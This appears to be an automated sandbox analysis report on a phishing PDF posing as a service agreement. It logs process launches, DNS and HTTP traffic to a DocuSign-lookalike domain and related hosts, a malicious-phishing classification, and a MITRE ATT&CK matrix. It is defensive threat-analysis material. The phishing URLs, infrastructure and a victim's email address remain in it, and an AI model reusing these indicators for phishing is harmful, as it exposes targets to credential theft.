Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docusign.legalcloudfiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docusign.legalcloudfiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docusign.legalcloudfiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 2043758164-1323985617.cos.sa-saopaulo.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 2043758164-1323985617.cos.sa-saopaulo.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 2043758164.cloudhostbuilder.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 2043758164.cloudhostbuilder.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: docusign.legalcloudfiles.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 2043758164-1323985617.cos.sa-saopaulo.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 2043758164.cloudhostbuilder.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3546sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 16:23:08 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=01ICfW1t0CMra4bjozcROdKJQCtgAS50puxELdnvn9N0LcAhSOfj77P6t6V5dvkXoIxeUV2mhQR%2BdBk8tHtXUiVv8Mekj8f6Q%2F9C1B%2FpY9Js9pXmbwrS9RsmjWNCvyWwhpg090TAkVvP2gaf4mSj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901ef8063d10425f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1609&rtt_var=614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1275&delivery_rate=1766485&cwnd=220&unsent_bytes=0&cid=51fd305154167d02&ts=358&x=0"

Source: chromecache_206.5.dr, chromecache_188.5.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_209.5.dr, chromecache_190.5.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_205.5.dr, chromecache_196.5.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_205.5.dr, chromecache_209.5.dr, chromecache_190.5.dr, chromecache_196.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_205.5.dr, chromecache_209.5.dr, chromecache_190.5.dr, chromecache_196.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51387
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51389
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51393
Source: unknown	Network traffic detected: HTTP traffic on port 51391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51394
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51392
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51397
Source: unknown	Network traffic detected: HTTP traffic on port 51399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51396
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51399
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51197
Source: unknown	Network traffic detected: HTTP traffic on port 51414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 51389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51400
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51418
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51412
Source: unknown	Network traffic detected: HTTP traffic on port 51397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51410
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51411
Source: unknown	Network traffic detected: HTTP traffic on port 51412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 51406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: classification engine

Classification label: mal76.phis.winPDF@30/86@44/17

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 11-22-57-798.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Ecastillo-In Service Agreement.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1572,i,16953409773614406426,15727890434465165057,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docusign.legalcloudfiles.com/S06ga?e=ecastillo@seguridadamerica.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2232,i,17049063586275542748,260268571060558261,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1572,i,16953409773614406426,15727890434465165057,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2232,i,17049063586275542748,260268571060558261,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Ecastillo-In Service Agreement.pdf	Initial sample: PDF keyword /JS count = 0
Source: Ecastillo-In Service Agreement.pdf	Initial sample: PDF keyword /JavaScript count = 0
Source: A9remah4_cwlf47_3g0.tmp.0.dr	Initial sample: PDF keyword /JS count = 0
Source: A9remah4_cwlf47_3g0.tmp.0.dr	Initial sample: PDF keyword /JavaScript count = 0

Source: Ecastillo-In Service Agreement.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
